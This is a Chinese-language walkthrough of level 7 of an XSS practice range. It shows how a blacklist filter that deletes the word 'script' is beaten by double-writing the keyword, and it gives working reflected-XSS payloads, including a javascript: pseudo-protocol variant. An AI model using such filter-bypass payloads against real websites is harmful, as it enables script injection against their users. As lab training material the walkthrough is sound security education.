经过第六关的简单修整我们来看第七关,第七关利用了一个很有趣且巧妙的技巧------双写绕过
我们尝试用最简单的payload来探探路:
<script>alert('xss')</script>
不出意外的,我们失败了
我们发现了一个有趣的现象
<form action="level7.php" method="GET">
<input name="keyword" value="<>alert('xss')</>">
<input type="submit" name="submit" value="搜索">
</form>
我们输入的语句中,script这个单词全都消失了!其实这也是程序的一种黑名单策略,会对黑名单中的关键词进行过滤和删除,难道我们就真的没办法了吗?不,我命由我不由天,我们要做的就是想尽一切办法欺骗程序
既然他会删除关键词script,那我们如果构造以下语句:
"><scrscriptipt>alert(/xss/)</scscriptript><"
不知道大家有没有看懂这段语句的构造思路,现在来详细讲解一下:
我们原先构造了这段代码:<script>alert(/xss/)<script>
过滤后:<>alert(/xss/)</>
很显然程序识别到script并将它删除了
而 <scrscriptipt>alert(/xss/)</scscriptript> 是在script中又重新插入了一个script单词,这样程序识别到中间完整的script并将它删除后,我们就又得到了一个完整的script,即 <script>alert(/xss/)<script> 这便是双写的技巧
我们现在提交payload试一下
"><scrscriptipt>alert(/xss/)</scscriptript><"
不出意外的,我们取得了成功!
拓展:我们同样可以利用伪协议和双写技巧构造payload:
"><a hrhrefef=javascscriptript:alert(/xss/)>ghkgkj</a><"
同样可以获得成功
所以,xss靶场没有标准答案,我只能为你提供一两种有限思路,更多的需要去试错和思考